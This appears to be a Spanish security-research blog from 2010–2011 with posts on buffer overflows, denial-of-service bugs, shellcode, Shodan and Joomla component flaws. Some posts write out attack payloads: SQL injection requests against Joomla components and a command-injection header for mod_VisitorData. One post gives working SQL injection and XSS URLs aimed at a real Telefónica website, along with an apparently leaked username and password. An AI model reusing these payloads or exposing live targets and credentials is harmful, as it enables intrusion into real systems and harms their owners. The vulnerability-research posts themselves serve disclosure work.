Personal information:

A Coruña, Galicia, Spain

domingo, 6 de marzo de 2011

Blog realojado...

Saludos a tod@s,

he realojado el blog al siguiente dominio:

http://www.research.reversingcode.com/

Al cúal seréis redireccionados en breves :).

Nos vemos allí!

domingo, 6 de febrero de 2011

FIC - Jornadas de Seguridad 2011

Saludos!,

este mes tendrá lugar en la Facultad de Informática de A Coruña, una serie de jornadas referentes a la seguridad informática (seguridad web, análisis forense, etc...).

A partir del día 11 de Febrero quedará abierta la inscripción a los talleres , así que no os retraséis si no queréis perder la plaza!

Toda la información sobre las jornadas puede ser encontrada en la web de el GSIC, no os cortéis.

Nos vemos en la FIC!


-H4ppyH4ck1n9-

sábado, 20 de noviembre de 2010

FuzzMe, please!

Saludos a tod@s!,

a través de Linkedin, he encontrado algo de información útil a la hora de desarrollar fuzzers en general, y aquí estamos para recomendárosla!

En los siguientes links, podréis leer una aproximación a los distintos tipos de fuzzers a programar,las cosas básicas a tener en cuenta cuando los desarrollas, etc...

[+] Fuzzing?: Buzz on Fuzzing

[+] Aumentar la cobertura de fuzzeo: Metrics and Coverage

[+] Fuzzing XML: XML

Espero que os sea útil, pillines!

-H4ppyH4ck1n9-

lunes, 1 de noviembre de 2010

Sybase Advantage Data Architect "*.SQL" Format Heap Oveflow

Saludos!,

como explican en la web de Sybase:

"Advantage Data Architect Utility: A complete data management system for Advantage developers.
Advantage Data Architect assists in designing, creating and maintaining the database layer of a developer's applications
."

ADA es una utilidad que entre todas esas cosas, actúa como cliente para realizar consultas a las bases de datos de los servidores de Sybase como, por ejemplo,Advantage Database Server.
Concretamente para automatizar y agilizar esta tarea, ADA permite ejecutar scripts de código SQL programados por nosotros mismos.

El problemita reside en que la aplicación reserva memoria insuficiente para almacenar el contenido del script después de convertirlo a UNICODE; esto conlleva a la sobreescritura de un puntero a funcion (algún tipo de SEH), y de otras tantas variables necesarias para el programa.
Al acceder a una de estas variables sobreescritas se produce el ACCESS VIOLATION, y acto seguido se dispara el manejador de excepciones que anteriormente nos hemos
apropiado (p0wnd!):



Como se puede apreciar y ya comenté antes, nuestros datos se convierten a UNICODE, por lo que tendremos que ingeniárnoslas para que EAX contenga algún puntero interesante que cumpla esa condición, además de construir una shellcode funcional (podeis ver cómo crearla en la revista Phrack, aquí y acá).

[+] Un posible PoC:



Nota: no es suficiente con abrir el fichero desde la aplicación; una vez hecho esto, se nos mostrará el contenido del script.Escribiendo algo en él, se disparará el error.

-H4ppyH4ck1n9-

sábado, 23 de octubre de 2010

HP Data Protector Media Operations 6.11 HTTP Server Remote Integer Overflow DoS

Hola de nuevo!,

hace un par de post (aquí) hablamos sobre una denegación de servicio en esta aplicación de HP.
De nuevo, otra denegación de servicio ha sido encontrada pero esta vez en el servidor HTTP que el módulo DBServer.exe implementa en el socket TCP/80.

Esta es disparada cuando el cliente envía al server una petición POST con un contenido suficientemente largo, como mínimo 0x8000 bytes.

Cuando el servidor se para a manejar la longitud de esta petición lo hará de forma incorrecta, manipulándola sin comprobaciones y como si se tratase de un signed int:



Esto conlleva a un comportamiento inesperado del flujo de ejecución, que por el camino inicia un puntero a 0x00 y es desreferenciado más adelante:



Bajo estas circunstancias este bug no puede ser explotado.

El PoC:



-H4ppyH4ck1n9-

sábado, 16 de octubre de 2010

Novell eDirectory DHost Console 8.8 SP3 Local SEH Overwrite

Buenas a tod@s!,

acabo de encontrarme con un stack overflow en la consola (DHOSTCON.exe) para el servicio DHOST.exe de Novell eDirectory, en el cúal suministrando en la entrada un string suficientemente largo (1074 bytes) podremos sobreescribir el SEH, y alcanzar la ejecución de código de forma local.

Esto se debe a la ausencia de comprobaciones que deberían aplicarse a los parámetros suministrados por el usuario; así, los argumentos son copiados a pelo a un búfer de tamaño fijo,y claro está que menor que nuestro string :) .

En el screenshot inferior se puede apreciar el SEH sobreescrito, la dirección que contiene el PPR al que salta, y nuestro shellcode (INT3 - 0xCC):



Aquí el PoC:



-H4ppyH4ck1n9-

miércoles, 6 de octubre de 2010

HP Data Protector Media Operations 6.11 “DBServer.exe” NULL Pointer dereference Remote Denial of Service

Buenas a tod@s!,

otro bug (pre-auth) en esta aplicación de HP, causado por un puntero inicializado a 0, que gracias a nosotros permanecerá en ese valor y será desreferenciado :).

Si estáis interesados, aquí podréis encontrar más información.

[+] PoC:



Sed buenos :)

-H4ppyH4ck1n9-

domingo, 3 de octubre de 2010

Bypassing SEHOP

Pues si, un nuevo método anda circulando por la red.
Se trata de un nuevo bypass de esta protección, que podréis encontrar bien explicadito
aquí.

Es interesante y está bien saberlo ;)

-H4ppyH4ck1n9-

viernes, 10 de septiembre de 2010

HP Data Protector Media Operations 6.11 NULL Pointer Dereference Local DoS

Os traigo un bug en este conjunto de aplicaciones de Hewlett-Packard, el cúal provoca una denegación de servicio a sus usuarios legítimos si estos intentan operar con un fichero especialmente creado para el tema.

El fallo reside en los módulos "DBTools.exe" y "DBServer.exe", únicamente explotable de forma local en los dos casos.

Una breve y rápida descripción de como manipular dicho fichero, sería decir que se trata de el formato ".4DC" (.4DC - 4th Dimension provide software
solutions to business problems),cuyo header está compuesto por 0x24 bytes que contiene el Signature, comienzo del Image Data,etc... y concretamente, el offset +8 es usado como un puntero a una zona del propio fichero en donde guarda un valor que representa el número maximo de secciones que tiene(no estoy seguro de que es exactamente :( ):



Manipulando los bytes contenidos en el offset al que apunta, ejecutándo los módulos y cargando nuestro archivo, podremos comenzar a depurar.

Traceando podremos llega la zona en la que se realiza el siguiente CALL; y vemos en el stack la variable [ESP+14] que es igual a 0x00000000:



En una situación normal, veríamos que el CALL anterior encuentra lo que anda buscando usando el WORD que contiene nuestro byte como índice en una estructura de datos (ignorando el posible integer overflow :) ):



Si tiene éxito, la variable [ESP+14] cambiará su valor; pero cambiando dicho byte a un valor de los siguientes [0x1-0xA], ambos inclusive, el CALL anterior no tendrá éxito, y [ESP+14] seguirá siendo NULL:



Más adelante este valor se carga en EAX y es desreferenciado , provocando un "crash" de la aplicación:



En el caso de "DBTools.exe" basta con ejecutarlo y abrir el fichero.
En "DBServer.exe", tendríamos que sustituirlo en su directorio de instalación, ya que lo carga automáticamente al iniciarse la aplicación.

Un apunte, "DBServer.exe" por defecto es autoiniciado con el SO como SYSTEM, así que en el caso de ejecutar algún tipo de código arbitrario podría producirse un Privilege Escalation.

Podréis encontrar un PoC aquí.


-H4ppyH4ck1n9-

domingo, 5 de septiembre de 2010

Google?

Buenas, malabaristas!

Esta vez comentaré algo que me llamó la atención cuando lo descubrí, así que no me parece mala idea darlo a conocer, espero que os guste ;).

En una ocasión, el Maligno comentó en su blog un motor de búsqueda desconocido para mi: Shodan.
"Uno más, que le den." pensé, pero ERROR!

Shodan es un motor de búsqueda que NO busca en las páginas alojadas en servidores web, como viene siendo lo "normal", si no que está preparado para buscar en los banners de cualquier tipo de server. Por ejemplo, aquí servers web o routers, todos robustamente protegidos (admin:admin?):

http://www.shodanhq.com/?q=apache
http://www.shodanhq.com/?q=IBM
http://www.shodanhq.com/?q=cisco

Aparte de lo que seguramente todos acabamos de pensar (bien! ya puedo localizar un host que use X server en concreto y de todo!), y al igual que pasa con algunas búsquedas en Google, podemos encontrarnos con cositas todavía más interesantes :)~~.

Imaginad, entre lo que rebusca Shodan, y lo poco que se lo curra la gente por evitar las fugas de información, puedes ver hasta lo que hace tu novi@! En realidad no, pero si puedes encontrar sistemas SCADA (Supervisory Control And Data Acquisition), usados para controlar los procesos de un sistema autónomo, por ejemplo el de una fábrica, depuradora...WTF!?.

http://www.shodanhq.com/?q=labview
http://www.shodanhq.com/?q=LV_HTTP

Aunque por suerte no se puede juguetear con la mayoria (yo no digo ná), podemos hechar un vistazo. Foto!!



Por si queréis más información, en la BlackHat de este año le dieron caña al tema:
https://media.blackhat.com/bh-eu-10/presentations/Arlen/BlackHat-EU-2010-Arlen-SCADA-slides.pdf
Referencia: http://www.elladodelmal.com/2010/05/shodan-y-sistemas-scada.html

-H4ppyH4ck1n9-

jueves, 5 de agosto de 2010

BlackHat 18

Aquí teneis los papers sobre los temas de este gran evento:

BlackHat

Para no salir de casa en un mes.

-H4ppyH4ck1n9-

domingo, 25 de julio de 2010

Un aplauso para Apple!

Desde Secunia nos llega este informe con las empresas que han generado más software vulnerable este medio año que llevamos. Como podréis ver, el podio esta formado por:

1º Apple
2º Oracle
3º Microsoft

Cabe destacar que es en las aplicaciones de terceros en realidad donde existe un aumento de estos fallos.
Como no, siempre está bien saberlo :)~ .

-H4ppyH4ck1n9-

viernes, 23 de julio de 2010

Ubuntu 10.04 LTS - Lucid Lynx ftp Client v0.17-19build1 ACCT Buffer Overflow

EL cliente ftp en Ubuntu 10.04 contiene un desbordamiento del búfer que provoca que el programa cese su ejecución; puede dispararse a través de la orden ACCOUNT (ACCT) estableciendo como primer argumento un string de 128 bytes.

Más detalles: aquí.

-H4ppyH4ck1n9-

sábado, 3 de julio de 2010

AIMP 2.61.570 Local Buffer OverFlow (SEH)

Buenas delincuentes!

Vengo para informaros de un bug en el reproductor AIMP, un desbordamiento de buffer que permite sobreescribir la direccion del seh, un poco lo de siempre.

Este fallo es disparado al abrir un archivo mp3 que cumpla con el estandar ID3v1/ID3v2 Tag (http://es.wikipedia.org/wiki/ID3) y que a su vez este manipulado.

Un ejemplo puede ser este mismo:

http://exploit-db.com/sploits/2009-aimp2_evil.mp3

usado en un fallo similar en una version anterior...ya veis.


-H4ppyH4ck1n9-

miércoles, 23 de junio de 2010

winXP (32bits) SP3 URLDownloadToFileA + CreateProcessA + ExitProcess ASM Code - 176 bytes

Buenas a todos.
Este es un posible código fuente, más bien del montón, para un shellcode que descarga un fichero desde un host remoto, lo ejecuta y sale del proceso.

El código calcula la longitudd el nombre del archivo, para mas tarde sumarsela como desplazamiento a un CALL para corregir la distancia a la que se encuentra, que varía con la longitud del nombre del archivo que queremos descargar.
Mas tarde consigue los desplazamientos de memoria en los que esta situada la URL y el nombre del archivo a descargar, los almacena , procede a llamar a las APIs que se encargan de todo.
Aquí lo tenéis (UPDATED: EXPLOIT-DB aquí), para masm32, seguramente pueda reducirse bastante su tamaño:



Si observáis los opcodes habrá multitud de bytes nulos jeje así que recomiendo encodear la shellcode antes de usarla, y acoplarle alguna rutina de descifrado que se ejecute antes que la shellcode, claro...

-H4ppyH4ck1n9-

sábado, 5 de junio de 2010

Joomla Component com_searchlog SQL Injection

Vulnerabilidad en com_searchlog, pronto en exploit-db. Un adelanto del post ;) :
(ACTUALIZADO: post aqui)
http://VICTIM/administrator/index.php?option=com_searchlog&act=log

POST /administrator/index.php?option=com_searchlog&act=log HTTP/1.1
Host: VICTIM
Content-Type: application/x-www-form-urlencoded
Content-Length: xxx
search=[SQLi]
&sort=calls&limit=20&limitstart=0&option=com_searchlog&act=log&task=&callbase=1&boxchecked=1&hidemainmenu=0

Where [SQLi] = someLogExisting') and 1=1# => true
someLogExisting') and 1=2# => false

UNION SQLi = someLogExisting') union select 1,2,3,4,5,6,7,8#

-H4ppyH4ck1n9-

viernes, 4 de junio de 2010

Joomla Component com_djartgallery Multiple Vulnerabilities

Buenas noches, este componente contiene un XSS en la administracion, y ademas tambien puede ser explotado con Blind SQL Injection, aquí teneis el link.

-H4ppyH4ck1n9-

jueves, 3 de junio de 2010

Joomla Component com_jsjobs SQL Injection Vulnerability

SQL Injection debido a la ausencia de saneado de la variable 'cid', aqui teneis el post.

-H4ppyH4ck1n9-

domingo, 16 de mayo de 2010

be secure, my friend...

Supongo que todos conocémos Timofónica no?:

[sqli] http://pulso.telefonica.es/articulo.php?id=-70%27/*!UNION%0bSELECT%0b1,2,3,4,5,6,@@version,8,9,10,11,12,13,14,15*//*&id_submenu=11

[xss] http://pulso.telefonica.es/resultado_busqueda.php?busca=%27%3E%3Cscript%3Ealert%28%22XSS%20by%20r0i%22%29;%3C/script%3E%3C

ahora podremos conocerla mejor >:)~...

user: sample
password: FF6ECAE8

-H4ppyH4ck1n9-

sábado, 1 de mayo de 2010

mod_VisitorData 1.1 Joomla! Remote Code Execution

Gracias a mi colega CH1P D3 BIOS, que descubrió una vulnerabilidad en el código del módulo mod_VisitorData, fuimos capaces de explotar el fallo en la programación de este, el cual puede ser calificado de Remote Code Execution (RCE).

La vulnerabilidad la podréis ver en el siguiente fragmento de código:



Este condicional IF comprueba si X-Forwarded-For aparece en la cabecera HTTP.
De ser así, obtendría nuestra IP de el contenido de esta variable del servidor, y no de REMOTE_ADDR, como suele suceder.
Entonces,si insertamos la cabecera X-Forwarder-For, tomará su contenido como el valor de nuestra IP, sin ningún tipo de filtrado de carácteres ni ná, y ejecutará el siguiente comando:

$whois ="whois " . $_SERVER['HTTP_X_FORWARDED_FOR'] ." | grep netname";

Jugando con la terminal, se puede comprobar que puede ser bypasseado, y manipulado para que cumpla nuestros deseos :D:

X-Forwarded-For:;[command-here];1

Por ejemplo, lo que daria lugar a:

~$whois ; [command-here];1|grep netname

Provocando un par de errores, pero ejecutando nuestro comando.

Gracias a Chip D3 Bios por su descubrimiento!!

-H4ppyH4ck1n9-